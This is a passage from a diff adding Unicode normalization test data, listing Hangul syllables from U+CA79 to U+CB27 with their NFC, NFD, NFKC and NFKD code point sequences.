+{ source: [0xCA79], NFC: [0xCA79], NFD: [0x110D, 0x1166, 0x11B8], NFKC: [0xCA79], NFKD: [0x110D, 0x1166, 0x11B8] },
+{ source: [0xCA7A], NFC: [0xCA7A], NFD: [0x110D, 0x1166, 0x11B9], NFKC: [0xCA7A], NFKD: [0x110D, 0x1166, 0x11B9] },
+{ source: [0xCA7B], NFC: [0xCA7B], NFD: [0x110D, 0x1166, 0x11BA], NFKC: [0xCA7B], NFKD: [0x110D, 0x1166, 0x11BA] },
+{ source: [0xCA7C], NFC: [0xCA7C], NFD: [0x110D, 0x1166, 0x11BB], NFKC: [0xCA7C], NFKD: [0x110D, 0x1166, 0x11BB] },
+{ source: [0xCA7D], NFC: [0xCA7D], NFD: [0x110D, 0x1166, 0x11BC], NFKC: [0xCA7D], NFKD: [0x110D, 0x1166, 0x11BC] },
+{ source: [0xCA7E], NFC: [0xCA7E], NFD: [0x110D, 0x1166, 0x11BD], NFKC: [0xCA7E], NFKD: [0x110D, 0x1166, 0x11BD] },
+{ source: [0xCA7F], NFC: [0xCA7F], NFD: [0x110D, 0x1166, 0x11BE], NFKC: [0xCA7F], NFKD: [0x110D, 0x1166, 0x11BE] },
+{ source: [0xCA80], NFC: [0xCA80], NFD: [0x110D, 0x1166, 0x11BF], NFKC: [0xCA80], NFKD: [0x110D, 0x1166, 0x11BF] },
+{ source: [0xCA81], NFC: [0xCA81], NFD: [0x110D, 0x1166, 0x11C0], NFKC: [0xCA81], NFKD: [0x110D, 0x1166, 0x11C0] },
+{ source: [0xCA82], NFC: [0xCA82], NFD: [0x110D, 0x1166, 0x11C1], NFKC: [0xCA82], NFKD: [0x110D, 0x1166, 0x11C1] },
+{ source: [0xCA83], NFC: [0xCA83], NFD: [0x110D, 0x1166, 0x11C2], NFKC: [0xCA83], NFKD: [0x110D, 0x1166, 0x11C2] },
+{ source: [0xCA84], NFC: [0xCA84], NFD: [0x110D, 0x1167], NFKC: [0xCA84], NFKD: [0x110D, 0x1167] },
+{ source: [0xCA85], NFC: [0xCA85], NFD: [0x110D, 0x1167, 0x11A8], NFKC: [0xCA85], NFKD: [0x110D, 0x1167, 0x11A8] },
+{ source: [0xCA86], NFC: [0xCA86], NFD: [0x110D, 0x1167, 0x11A9], NFKC: [0xCA86], NFKD: [0x110D, 0x1167, 0x11A9] },
+{ source: [0xCA87], NFC: [0xCA87], NFD: [0x110D, 0x1167, 0x11AA], NFKC: [0xCA87], NFKD: [0x110D, 0x1167, 0x11AA] },
+{ source: [0xCA88], NFC: [0xCA88], NFD: [0x110D, 0x1167, 0x11AB], NFKC: [0xCA88], NFKD: [0x110D, 0x1167, 0x11AB] },
+{ source: [0xCA89], NFC: [0xCA89], NFD: [0x110D, 0x1167, 0x11AC], NFKC: [0xCA89], NFKD: [0x110D, 0x1167, 0x11AC] },
+{ source: [0xCA8A], NFC: [0xCA8A], NFD: [0x110D, 0x1167, 0x11AD], NFKC: [0xCA8A], NFKD: [0x110D, 0x1167, 0x11AD] },
+{ source: [0xCA8B], NFC: [0xCA8B], NFD: [0x110D, 0x1167, 0x11AE], NFKC: [0xCA8B], NFKD: [0x110D, 0x1167, 0x11AE] },
+{ source: [0xCA8C], NFC: [0xCA8C], NFD: [0x110D, 0x1167, 0x11AF], NFKC: [0xCA8C], NFKD: [0x110D, 0x1167, 0x11AF] },
+{ source: [0xCA8D], NFC: [0xCA8D], NFD: [0x110D, 0x1167, 0x11B0], NFKC: [0xCA8D], NFKD: [0x110D, 0x1167, 0x11B0] },
+{ source: [0xCA8E], NFC: [0xCA8E], NFD: [0x110D, 0x1167, 0x11B1], NFKC: [0xCA8E], NFKD: [0x110D, 0x1167, 0x11B1] },
+{ source: [0xCA8F], NFC: [0xCA8F], NFD: [0x110D, 0x1167, 0x11B2], NFKC: [0xCA8F], NFKD: [0x110D, 0x1167, 0x11B2] },
+{ source: [0xCA90], NFC: [0xCA90], NFD: [0x110D, 0x1167, 0x11B3], NFKC: [0xCA90], NFKD: [0x110D, 0x1167, 0x11B3] },
+{ source: [0xCA91], NFC: [0xCA91], NFD: [0x110D, 0x1167, 0x11B4], NFKC: [0xCA91], NFKD: [0x110D, 0x1167, 0x11B4] },
+{ source: [0xCA92], NFC: [0xCA92], NFD: [0x110D, 0x1167, 0x11B5], NFKC: [0xCA92], NFKD: [0x110D, 0x1167, 0x11B5] },
+{ source: [0xCA93], NFC: [0xCA93], NFD: [0x110D, 0x1167, 0x11B6], NFKC: [0xCA93], NFKD: [0x110D, 0x1167, 0x11B6] },
+{ source: [0xCA94], NFC: [0xCA94], NFD: [0x110D, 0x1167, 0x11B7], NFKC: [0xCA94], NFKD: [0x110D, 0x1167, 0x11B7] },
+{ source: [0xCA95], NFC: [0xCA95], NFD: [0x110D, 0x1167, 0x11B8], NFKC: [0xCA95], NFKD: [0x110D, 0x1167, 0x11B8] },
+{ source: [0xCA96], NFC: [0xCA96], NFD: [0x110D, 0x1167, 0x11B9], NFKC: [0xCA96], NFKD: [0x110D, 0x1167, 0x11B9] },
+{ source: [0xCA97], NFC: [0xCA97], NFD: [0x110D, 0x1167, 0x11BA], NFKC: [0xCA97], NFKD: [0x110D, 0x1167, 0x11BA] },
+{ source: [0xCA98], NFC: [0xCA98], NFD: [0x110D, 0x1167, 0x11BB], NFKC: [0xCA98], NFKD: [0x110D, 0x1167, 0x11BB] },
+{ source: [0xCA99], NFC: [0xCA99], NFD: [0x110D, 0x1167, 0x11BC], NFKC: [0xCA99], NFKD: [0x110D, 0x1167, 0x11BC] },
+{ source: [0xCA9A], NFC: [0xCA9A], NFD: [0x110D, 0x1167, 0x11BD], NFKC: [0xCA9A], NFKD: [0x110D, 0x1167, 0x11BD] },
+{ source: [0xCA9B], NFC: [0xCA9B], NFD: [0x110D, 0x1167, 0x11BE], NFKC: [0xCA9B], NFKD: [0x110D, 0x1167, 0x11BE] },
+{ source: [0xCA9C], NFC: [0xCA9C], NFD: [0x110D, 0x1167, 0x11BF], NFKC: [0xCA9C], NFKD: [0x110D, 0x1167, 0x11BF] },
+{ source: [0xCA9D], NFC: [0xCA9D], NFD: [0x110D, 0x1167, 0x11C0], NFKC: [0xCA9D], NFKD: [0x110D, 0x1167, 0x11C0] },
+{ source: [0xCA9E], NFC: [0xCA9E], NFD: [0x110D, 0x1167, 0x11C1], NFKC: [0xCA9E], NFKD: [0x110D, 0x1167, 0x11C1] },
+{ source: [0xCA9F], NFC: [0xCA9F], NFD: [0x110D, 0x1167, 0x11C2], NFKC: [0xCA9F], NFKD: [0x110D, 0x1167, 0x11C2] },
+{ source: [0xCAA0], NFC: [0xCAA0], NFD: [0x110D, 0x1168], NFKC: [0xCAA0], NFKD: [0x110D, 0x1168] },
+{ source: [0xCAA1], NFC: [0xCAA1], NFD: [0x110D, 0x1168, 0x11A8], NFKC: [0xCAA1], NFKD: [0x110D, 0x1168, 0x11A8] },
+{ source: [0xCAA2], NFC: [0xCAA2], NFD: [0x110D, 0x1168, 0x11A9], NFKC: [0xCAA2], NFKD: [0x110D, 0x1168, 0x11A9] },
+{ source: [0xCAA3], NFC: [0xCAA3], NFD: [0x110D, 0x1168, 0x11AA], NFKC: [0xCAA3], NFKD: [0x110D, 0x1168, 0x11AA] },
+{ source: [0xCAA4], NFC: [0xCAA4], NFD: [0x110D, 0x1168, 0x11AB], NFKC: [0xCAA4], NFKD: [0x110D, 0x1168, 0x11AB] },
+{ source: [0xCAA5], NFC: [0xCAA5], NFD: [0x110D, 0x1168, 0x11AC], NFKC: [0xCAA5], NFKD: [0x110D, 0x1168, 0x11AC] },
+{ source: [0xCAA6], NFC: [0xCAA6], NFD: [0x110D, 0x1168, 0x11AD], NFKC: [0xCAA6], NFKD: [0x110D, 0x1168, 0x11AD] },
+{ source: [0xCAA7], NFC: [0xCAA7], NFD: [0x110D, 0x1168, 0x11AE], NFKC: [0xCAA7], NFKD: [0x110D, 0x1168, 0x11AE] },
+{ source: [0xCAA8], NFC: [0xCAA8], NFD: [0x110D, 0x1168, 0x11AF], NFKC: [0xCAA8], NFKD: [0x110D, 0x1168, 0x11AF] },
+{ source: [0xCAA9], NFC: [0xCAA9], NFD: [0x110D, 0x1168, 0x11B0], NFKC: [0xCAA9], NFKD: [0x110D, 0x1168, 0x11B0] },
+{ source: [0xCAAA], NFC: [0xCAAA], NFD: [0x110D, 0x1168, 0x11B1], NFKC: [0xCAAA], NFKD: [0x110D, 0x1168, 0x11B1] },
+{ source: [0xCAAB], NFC: [0xCAAB], NFD: [0x110D, 0x1168, 0x11B2], NFKC: [0xCAAB], NFKD: [0x110D, 0x1168, 0x11B2] },
+{ source: [0xCAAC], NFC: [0xCAAC], NFD: [0x110D, 0x1168, 0x11B3], NFKC: [0xCAAC], NFKD: [0x110D, 0x1168, 0x11B3] },
+{ source: [0xCAAD], NFC: [0xCAAD], NFD: [0x110D, 0x1168, 0x11B4], NFKC: [0xCAAD], NFKD: [0x110D, 0x1168, 0x11B4] },
+{ source: [0xCAAE], NFC: [0xCAAE], NFD: [0x110D, 0x1168, 0x11B5], NFKC: [0xCAAE], NFKD: [0x110D, 0x1168, 0x11B5] },
+{ source: [0xCAAF], NFC: [0xCAAF], NFD: [0x110D, 0x1168, 0x11B6], NFKC: [0xCAAF], NFKD: [0x110D, 0x1168, 0x11B6] },
+{ source: [0xCAB0], NFC: [0xCAB0], NFD: [0x110D, 0x1168, 0x11B7], NFKC: [0xCAB0], NFKD: [0x110D, 0x1168, 0x11B7] },
+{ source: [0xCAB1], NFC: [0xCAB1], NFD: [0x110D, 0x1168, 0x11B8], NFKC: [0xCAB1], NFKD: [0x110D, 0x1168, 0x11B8] },
+{ source: [0xCAB2], NFC: [0xCAB2], NFD: [0x110D, 0x1168, 0x11B9], NFKC: [0xCAB2], NFKD: [0x110D, 0x1168, 0x11B9] },
+{ source: [0xCAB3], NFC: [0xCAB3], NFD: [0x110D, 0x1168, 0x11BA], NFKC: [0xCAB3], NFKD: [0x110D, 0x1168, 0x11BA] },
+{ source: [0xCAB4], NFC: [0xCAB4], NFD: [0x110D, 0x1168, 0x11BB], NFKC: [0xCAB4], NFKD: [0x110D, 0x1168, 0x11BB] },
+{ source: [0xCAB5], NFC: [0xCAB5], NFD: [0x110D, 0x1168, 0x11BC], NFKC: [0xCAB5], NFKD: [0x110D, 0x1168, 0x11BC] },
+{ source: [0xCAB6], NFC: [0xCAB6], NFD: [0x110D, 0x1168, 0x11BD], NFKC: [0xCAB6], NFKD: [0x110D, 0x1168, 0x11BD] },
+{ source: [0xCAB7], NFC: [0xCAB7], NFD: [0x110D, 0x1168, 0x11BE], NFKC: [0xCAB7], NFKD: [0x110D, 0x1168, 0x11BE] },
+{ source: [0xCAB8], NFC: [0xCAB8], NFD: [0x110D, 0x1168, 0x11BF], NFKC: [0xCAB8], NFKD: [0x110D, 0x1168, 0x11BF] },
+{ source: [0xCAB9], NFC: [0xCAB9], NFD: [0x110D, 0x1168, 0x11C0], NFKC: [0xCAB9], NFKD: [0x110D, 0x1168, 0x11C0] },
+{ source: [0xCABA], NFC: [0xCABA], NFD: [0x110D, 0x1168, 0x11C1], NFKC: [0xCABA], NFKD: [0x110D, 0x1168, 0x11C1] },
+{ source: [0xCABB], NFC: [0xCABB], NFD: [0x110D, 0x1168, 0x11C2], NFKC: [0xCABB], NFKD: [0x110D, 0x1168, 0x11C2] },
+{ source: [0xCABC], NFC: [0xCABC], NFD: [0x110D, 0x1169], NFKC: [0xCABC], NFKD: [0x110D, 0x1169] },
+{ source: [0xCABD], NFC: [0xCABD], NFD: [0x110D, 0x1169, 0x11A8], NFKC: [0xCABD], NFKD: [0x110D, 0x1169, 0x11A8] },
+{ source: [0xCABE], NFC: [0xCABE], NFD: [0x110D, 0x1169, 0x11A9], NFKC: [0xCABE], NFKD: [0x110D, 0x1169, 0x11A9] },
+{ source: [0xCABF], NFC: [0xCABF], NFD: [0x110D, 0x1169, 0x11AA], NFKC: [0xCABF], NFKD: [0x110D, 0x1169, 0x11AA] },
+{ source: [0xCAC0], NFC: [0xCAC0], NFD: [0x110D, 0x1169, 0x11AB], NFKC: [0xCAC0], NFKD: [0x110D, 0x1169, 0x11AB] },
+{ source: [0xCAC1], NFC: [0xCAC1], NFD: [0x110D, 0x1169, 0x11AC], NFKC: [0xCAC1], NFKD: [0x110D, 0x1169, 0x11AC] },
+{ source: [0xCAC2], NFC: [0xCAC2], NFD: [0x110D, 0x1169, 0x11AD], NFKC: [0xCAC2], NFKD: [0x110D, 0x1169, 0x11AD] },
+{ source: [0xCAC3], NFC: [0xCAC3], NFD: [0x110D, 0x1169, 0x11AE], NFKC: [0xCAC3], NFKD: [0x110D, 0x1169, 0x11AE] },
+{ source: [0xCAC4], NFC: [0xCAC4], NFD: [0x110D, 0x1169, 0x11AF], NFKC: [0xCAC4], NFKD: [0x110D, 0x1169, 0x11AF] },
+{ source: [0xCAC5], NFC: [0xCAC5], NFD: [0x110D, 0x1169, 0x11B0], NFKC: [0xCAC5], NFKD: [0x110D, 0x1169, 0x11B0] },
+{ source: [0xCAC6], NFC: [0xCAC6], NFD: [0x110D, 0x1169, 0x11B1], NFKC: [0xCAC6], NFKD: [0x110D, 0x1169, 0x11B1] },
+{ source: [0xCAC7], NFC: [0xCAC7], NFD: [0x110D, 0x1169, 0x11B2], NFKC: [0xCAC7], NFKD: [0x110D, 0x1169, 0x11B2] },
+{ source: [0xCAC8], NFC: [0xCAC8], NFD: [0x110D, 0x1169, 0x11B3], NFKC: [0xCAC8], NFKD: [0x110D, 0x1169, 0x11B3] },
+{ source: [0xCAC9], NFC: [0xCAC9], NFD: [0x110D, 0x1169, 0x11B4], NFKC: [0xCAC9], NFKD: [0x110D, 0x1169, 0x11B4] },
+{ source: [0xCACA], NFC: [0xCACA], NFD: [0x110D, 0x1169, 0x11B5], NFKC: [0xCACA], NFKD: [0x110D, 0x1169, 0x11B5] },
+{ source: [0xCACB], NFC: [0xCACB], NFD: [0x110D, 0x1169, 0x11B6], NFKC: [0xCACB], NFKD: [0x110D, 0x1169, 0x11B6] },
+{ source: [0xCACC], NFC: [0xCACC], NFD: [0x110D, 0x1169, 0x11B7], NFKC: [0xCACC], NFKD: [0x110D, 0x1169, 0x11B7] },
+{ source: [0xCACD], NFC: [0xCACD], NFD: [0x110D, 0x1169, 0x11B8], NFKC: [0xCACD], NFKD: [0x110D, 0x1169, 0x11B8] },
+{ source: [0xCACE], NFC: [0xCACE], NFD: [0x110D, 0x1169, 0x11B9], NFKC: [0xCACE], NFKD: [0x110D, 0x1169, 0x11B9] },
+{ source: [0xCACF], NFC: [0xCACF], NFD: [0x110D, 0x1169, 0x11BA], NFKC: [0xCACF], NFKD: [0x110D, 0x1169, 0x11BA] },
+{ source: [0xCAD0], NFC: [0xCAD0], NFD: [0x110D, 0x1169, 0x11BB], NFKC: [0xCAD0], NFKD: [0x110D, 0x1169, 0x11BB] },
+{ source: [0xCAD1], NFC: [0xCAD1], NFD: [0x110D, 0x1169, 0x11BC], NFKC: [0xCAD1], NFKD: [0x110D, 0x1169, 0x11BC] },
+{ source: [0xCAD2], NFC: [0xCAD2], NFD: [0x110D, 0x1169, 0x11BD], NFKC: [0xCAD2], NFKD: [0x110D, 0x1169, 0x11BD] },
+{ source: [0xCAD3], NFC: [0xCAD3], NFD: [0x110D, 0x1169, 0x11BE], NFKC: [0xCAD3], NFKD: [0x110D, 0x1169, 0x11BE] },
+{ source: [0xCAD4], NFC: [0xCAD4], NFD: [0x110D, 0x1169, 0x11BF], NFKC: [0xCAD4], NFKD: [0x110D, 0x1169, 0x11BF] },
+{ source: [0xCAD5], NFC: [0xCAD5], NFD: [0x110D, 0x1169, 0x11C0], NFKC: [0xCAD5], NFKD: [0x110D, 0x1169, 0x11C0] },
+{ source: [0xCAD6], NFC: [0xCAD6], NFD: [0x110D, 0x1169, 0x11C1], NFKC: [0xCAD6], NFKD: [0x110D, 0x1169, 0x11C1] },
+{ source: [0xCAD7], NFC: [0xCAD7], NFD: [0x110D, 0x1169, 0x11C2], NFKC: [0xCAD7], NFKD: [0x110D, 0x1169, 0x11C2] },
+{ source: [0xCAD8], NFC: [0xCAD8], NFD: [0x110D, 0x116A], NFKC: [0xCAD8], NFKD: [0x110D, 0x116A] },
+{ source: [0xCAD9], NFC: [0xCAD9], NFD: [0x110D, 0x116A, 0x11A8], NFKC: [0xCAD9], NFKD: [0x110D, 0x116A, 0x11A8] },
+{ source: [0xCADA], NFC: [0xCADA], NFD: [0x110D, 0x116A, 0x11A9], NFKC: [0xCADA], NFKD: [0x110D, 0x116A, 0x11A9] },
+{ source: [0xCADB], NFC: [0xCADB], NFD: [0x110D, 0x116A, 0x11AA], NFKC: [0xCADB], NFKD: [0x110D, 0x116A, 0x11AA] },
+{ source: [0xCADC], NFC: [0xCADC], NFD: [0x110D, 0x116A, 0x11AB], NFKC: [0xCADC], NFKD: [0x110D, 0x116A, 0x11AB] },
+{ source: [0xCADD], NFC: [0xCADD], NFD: [0x110D, 0x116A, 0x11AC], NFKC: [0xCADD], NFKD: [0x110D, 0x116A, 0x11AC] },
+{ source: [0xCADE], NFC: [0xCADE], NFD: [0x110D, 0x116A, 0x11AD], NFKC: [0xCADE], NFKD: [0x110D, 0x116A, 0x11AD] },
+{ source: [0xCADF], NFC: [0xCADF], NFD: [0x110D, 0x116A, 0x11AE], NFKC: [0xCADF], NFKD: [0x110D, 0x116A, 0x11AE] },
+{ source: [0xCAE0], NFC: [0xCAE0], NFD: [0x110D, 0x116A, 0x11AF], NFKC: [0xCAE0], NFKD: [0x110D, 0x116A, 0x11AF] },
+{ source: [0xCAE1], NFC: [0xCAE1], NFD: [0x110D, 0x116A, 0x11B0], NFKC: [0xCAE1], NFKD: [0x110D, 0x116A, 0x11B0] },
+{ source: [0xCAE2], NFC: [0xCAE2], NFD: [0x110D, 0x116A, 0x11B1], NFKC: [0xCAE2], NFKD: [0x110D, 0x116A, 0x11B1] },
+{ source: [0xCAE3], NFC: [0xCAE3], NFD: [0x110D, 0x116A, 0x11B2], NFKC: [0xCAE3], NFKD: [0x110D, 0x116A, 0x11B2] },
+{ source: [0xCAE4], NFC: [0xCAE4], NFD: [0x110D, 0x116A, 0x11B3], NFKC: [0xCAE4], NFKD: [0x110D, 0x116A, 0x11B3] },
+{ source: [0xCAE5], NFC: [0xCAE5], NFD: [0x110D, 0x116A, 0x11B4], NFKC: [0xCAE5], NFKD: [0x110D, 0x116A, 0x11B4] },
+{ source: [0xCAE6], NFC: [0xCAE6], NFD: [0x110D, 0x116A, 0x11B5], NFKC: [0xCAE6], NFKD: [0x110D, 0x116A, 0x11B5] },
+{ source: [0xCAE7], NFC: [0xCAE7], NFD: [0x110D, 0x116A, 0x11B6], NFKC: [0xCAE7], NFKD: [0x110D, 0x116A, 0x11B6] },
+{ source: [0xCAE8], NFC: [0xCAE8], NFD: [0x110D, 0x116A, 0x11B7], NFKC: [0xCAE8], NFKD: [0x110D, 0x116A, 0x11B7] },
+{ source: [0xCAE9], NFC: [0xCAE9], NFD: [0x110D, 0x116A, 0x11B8], NFKC: [0xCAE9], NFKD: [0x110D, 0x116A, 0x11B8] },
+{ source: [0xCAEA], NFC: [0xCAEA], NFD: [0x110D, 0x116A, 0x11B9], NFKC: [0xCAEA], NFKD: [0x110D, 0x116A, 0x11B9] },
+{ source: [0xCAEB], NFC: [0xCAEB], NFD: [0x110D, 0x116A, 0x11BA], NFKC: [0xCAEB], NFKD: [0x110D, 0x116A, 0x11BA] },
+{ source: [0xCAEC], NFC: [0xCAEC], NFD: [0x110D, 0x116A, 0x11BB], NFKC: [0xCAEC], NFKD: [0x110D, 0x116A, 0x11BB] },
+{ source: [0xCAED], NFC: [0xCAED], NFD: [0x110D, 0x116A, 0x11BC], NFKC: [0xCAED], NFKD: [0x110D, 0x116A, 0x11BC] },
+{ source: [0xCAEE], NFC: [0xCAEE], NFD: [0x110D, 0x116A, 0x11BD], NFKC: [0xCAEE], NFKD: [0x110D, 0x116A, 0x11BD] },
+{ source: [0xCAEF], NFC: [0xCAEF], NFD: [0x110D, 0x116A, 0x11BE], NFKC: [0xCAEF], NFKD: [0x110D, 0x116A, 0x11BE] },
+{ source: [0xCAF0], NFC: [0xCAF0], NFD: [0x110D, 0x116A, 0x11BF], NFKC: [0xCAF0], NFKD: [0x110D, 0x116A, 0x11BF] },
+{ source: [0xCAF1], NFC: [0xCAF1], NFD: [0x110D, 0x116A, 0x11C0], NFKC: [0xCAF1], NFKD: [0x110D, 0x116A, 0x11C0] },
+{ source: [0xCAF2], NFC: [0xCAF2], NFD: [0x110D, 0x116A, 0x11C1], NFKC: [0xCAF2], NFKD: [0x110D, 0x116A, 0x11C1] },
+{ source: [0xCAF3], NFC: [0xCAF3], NFD: [0x110D, 0x116A, 0x11C2], NFKC: [0xCAF3], NFKD: [0x110D, 0x116A, 0x11C2] },
+{ source: [0xCAF4], NFC: [0xCAF4], NFD: [0x110D, 0x116B], NFKC: [0xCAF4], NFKD: [0x110D, 0x116B] },
+{ source: [0xCAF5], NFC: [0xCAF5], NFD: [0x110D, 0x116B, 0x11A8], NFKC: [0xCAF5], NFKD: [0x110D, 0x116B, 0x11A8] },
+{ source: [0xCAF6], NFC: [0xCAF6], NFD: [0x110D, 0x116B, 0x11A9], NFKC: [0xCAF6], NFKD: [0x110D, 0x116B, 0x11A9] },
+{ source: [0xCAF7], NFC: [0xCAF7], NFD: [0x110D, 0x116B, 0x11AA], NFKC: [0xCAF7], NFKD: [0x110D, 0x116B, 0x11AA] },
+{ source: [0xCAF8], NFC: [0xCAF8], NFD: [0x110D, 0x116B, 0x11AB], NFKC: [0xCAF8], NFKD: [0x110D, 0x116B, 0x11AB] },
+{ source: [0xCAF9], NFC: [0xCAF9], NFD: [0x110D, 0x116B, 0x11AC], NFKC: [0xCAF9], NFKD: [0x110D, 0x116B, 0x11AC] },
+{ source: [0xCAFA], NFC: [0xCAFA], NFD: [0x110D, 0x116B, 0x11AD], NFKC: [0xCAFA], NFKD: [0x110D, 0x116B, 0x11AD] },
+{ source: [0xCAFB], NFC: [0xCAFB], NFD: [0x110D, 0x116B, 0x11AE], NFKC: [0xCAFB], NFKD: [0x110D, 0x116B, 0x11AE] },
+{ source: [0xCAFC], NFC: [0xCAFC], NFD: [0x110D, 0x116B, 0x11AF], NFKC: [0xCAFC], NFKD: [0x110D, 0x116B, 0x11AF] },
+{ source: [0xCAFD], NFC: [0xCAFD], NFD: [0x110D, 0x116B, 0x11B0], NFKC: [0xCAFD], NFKD: [0x110D, 0x116B, 0x11B0] },
+{ source: [0xCAFE], NFC: [0xCAFE], NFD: [0x110D, 0x116B, 0x11B1], NFKC: [0xCAFE], NFKD: [0x110D, 0x116B, 0x11B1] },
+{ source: [0xCAFF], NFC: [0xCAFF], NFD: [0x110D, 0x116B, 0x11B2], NFKC: [0xCAFF], NFKD: [0x110D, 0x116B, 0x11B2] },
+{ source: [0xCB00], NFC: [0xCB00], NFD: [0x110D, 0x116B, 0x11B3], NFKC: [0xCB00], NFKD: [0x110D, 0x116B, 0x11B3] },
+{ source: [0xCB01], NFC: [0xCB01], NFD: [0x110D, 0x116B, 0x11B4], NFKC: [0xCB01], NFKD: [0x110D, 0x116B, 0x11B4] },
+{ source: [0xCB02], NFC: [0xCB02], NFD: [0x110D, 0x116B, 0x11B5], NFKC: [0xCB02], NFKD: [0x110D, 0x116B, 0x11B5] },
+{ source: [0xCB03], NFC: [0xCB03], NFD: [0x110D, 0x116B, 0x11B6], NFKC: [0xCB03], NFKD: [0x110D, 0x116B, 0x11B6] },
+{ source: [0xCB04], NFC: [0xCB04], NFD: [0x110D, 0x116B, 0x11B7], NFKC: [0xCB04], NFKD: [0x110D, 0x116B, 0x11B7] },
+{ source: [0xCB05], NFC: [0xCB05], NFD: [0x110D, 0x116B, 0x11B8], NFKC: [0xCB05], NFKD: [0x110D, 0x116B, 0x11B8] },
+{ source: [0xCB06], NFC: [0xCB06], NFD: [0x110D, 0x116B, 0x11B9], NFKC: [0xCB06], NFKD: [0x110D, 0x116B, 0x11B9] },
+{ source: [0xCB07], NFC: [0xCB07], NFD: [0x110D, 0x116B, 0x11BA], NFKC: [0xCB07], NFKD: [0x110D, 0x116B, 0x11BA] },
+{ source: [0xCB08], NFC: [0xCB08], NFD: [0x110D, 0x116B, 0x11BB], NFKC: [0xCB08], NFKD: [0x110D, 0x116B, 0x11BB] },
+{ source: [0xCB09], NFC: [0xCB09], NFD: [0x110D, 0x116B, 0x11BC], NFKC: [0xCB09], NFKD: [0x110D, 0x116B, 0x11BC] },
+{ source: [0xCB0A], NFC: [0xCB0A], NFD: [0x110D, 0x116B, 0x11BD], NFKC: [0xCB0A], NFKD: [0x110D, 0x116B, 0x11BD] },
+{ source: [0xCB0B], NFC: [0xCB0B], NFD: [0x110D, 0x116B, 0x11BE], NFKC: [0xCB0B], NFKD: [0x110D, 0x116B, 0x11BE] },
+{ source: [0xCB0C], NFC: [0xCB0C], NFD: [0x110D, 0x116B, 0x11BF], NFKC: [0xCB0C], NFKD: [0x110D, 0x116B, 0x11BF] },
+{ source: [0xCB0D], NFC: [0xCB0D], NFD: [0x110D, 0x116B, 0x11C0], NFKC: [0xCB0D], NFKD: [0x110D, 0x116B, 0x11C0] },
+{ source: [0xCB0E], NFC: [0xCB0E], NFD: [0x110D, 0x116B, 0x11C1], NFKC: [0xCB0E], NFKD: [0x110D, 0x116B, 0x11C1] },
+{ source: [0xCB0F], NFC: [0xCB0F], NFD: [0x110D, 0x116B, 0x11C2], NFKC: [0xCB0F], NFKD: [0x110D, 0x116B, 0x11C2] },
+{ source: [0xCB10], NFC: [0xCB10], NFD: [0x110D, 0x116C], NFKC: [0xCB10], NFKD: [0x110D, 0x116C] },
+{ source: [0xCB11], NFC: [0xCB11], NFD: [0x110D, 0x116C, 0x11A8], NFKC: [0xCB11], NFKD: [0x110D, 0x116C, 0x11A8] },
+{ source: [0xCB12], NFC: [0xCB12], NFD: [0x110D, 0x116C, 0x11A9], NFKC: [0xCB12], NFKD: [0x110D, 0x116C, 0x11A9] },
+{ source: [0xCB13], NFC: [0xCB13], NFD: [0x110D, 0x116C, 0x11AA], NFKC: [0xCB13], NFKD: [0x110D, 0x116C, 0x11AA] },
+{ source: [0xCB14], NFC: [0xCB14], NFD: [0x110D, 0x116C, 0x11AB], NFKC: [0xCB14], NFKD: [0x110D, 0x116C, 0x11AB] },
+{ source: [0xCB15], NFC: [0xCB15], NFD: [0x110D, 0x116C, 0x11AC], NFKC: [0xCB15], NFKD: [0x110D, 0x116C, 0x11AC] },
+{ source: [0xCB16], NFC: [0xCB16], NFD: [0x110D, 0x116C, 0x11AD], NFKC: [0xCB16], NFKD: [0x110D, 0x116C, 0x11AD] },
+{ source: [0xCB17], NFC: [0xCB17], NFD: [0x110D, 0x116C, 0x11AE], NFKC: [0xCB17], NFKD: [0x110D, 0x116C, 0x11AE] },
+{ source: [0xCB18], NFC: [0xCB18], NFD: [0x110D, 0x116C, 0x11AF], NFKC: [0xCB18], NFKD: [0x110D, 0x116C, 0x11AF] },
+{ source: [0xCB19], NFC: [0xCB19], NFD: [0x110D, 0x116C, 0x11B0], NFKC: [0xCB19], NFKD: [0x110D, 0x116C, 0x11B0] },
+{ source: [0xCB1A], NFC: [0xCB1A], NFD: [0x110D, 0x116C, 0x11B1], NFKC: [0xCB1A], NFKD: [0x110D, 0x116C, 0x11B1] },
+{ source: [0xCB1B], NFC: [0xCB1B], NFD: [0x110D, 0x116C, 0x11B2], NFKC: [0xCB1B], NFKD: [0x110D, 0x116C, 0x11B2] },
+{ source: [0xCB1C], NFC: [0xCB1C], NFD: [0x110D, 0x116C, 0x11B3], NFKC: [0xCB1C], NFKD: [0x110D, 0x116C, 0x11B3] },
+{ source: [0xCB1D], NFC: [0xCB1D], NFD: [0x110D, 0x116C, 0x11B4], NFKC: [0xCB1D], NFKD: [0x110D, 0x116C, 0x11B4] },
+{ source: [0xCB1E], NFC: [0xCB1E], NFD: [0x110D, 0x116C, 0x11B5], NFKC: [0xCB1E], NFKD: [0x110D, 0x116C, 0x11B5] },
+{ source: [0xCB1F], NFC: [0xCB1F], NFD: [0x110D, 0x116C, 0x11B6], NFKC: [0xCB1F], NFKD: [0x110D, 0x116C, 0x11B6] },
+{ source: [0xCB20], NFC: [0xCB20], NFD: [0x110D, 0x116C, 0x11B7], NFKC: [0xCB20], NFKD: [0x110D, 0x116C, 0x11B7] },
+{ source: [0xCB21], NFC: [0xCB21], NFD: [0x110D, 0x116C, 0x11B8], NFKC: [0xCB21], NFKD: [0x110D, 0x116C, 0x11B8] },
+{ source: [0xCB22], NFC: [0xCB22], NFD: [0x110D, 0x116C, 0x11B9], NFKC: [0xCB22], NFKD: [0x110D, 0x116C, 0x11B9] },
+{ source: [0xCB23], NFC: [0xCB23], NFD: [0x110D, 0x116C, 0x11BA], NFKC: [0xCB23], NFKD: [0x110D, 0x116C, 0x11BA] },
+{ source: [0xCB24], NFC: [0xCB24], NFD: [0x110D, 0x116C, 0x11BB], NFKC: [0xCB24], NFKD: [0x110D, 0x116C, 0x11BB] },
+{ source: [0xCB25], NFC: [0xCB25], NFD: [0x110D, 0x116C, 0x11BC], NFKC: [0xCB25], NFKD: [0x110D, 0x116C, 0x11BC] },
+{ source: [0xCB26], NFC: [0xCB26], NFD: [0x110D, 0x116C, 0x11BD], NFKC: [0xCB26], NFKD: [0x110D, 0x116C, 0x11BD] },
+{ source: [0xCB27], NFC: [0xCB27], NFD: [0x110D, 0x116C, 0x11BE], NFKC: [0xCB27], NFKD: [0x110D, 0x116C, 0x11BE] },
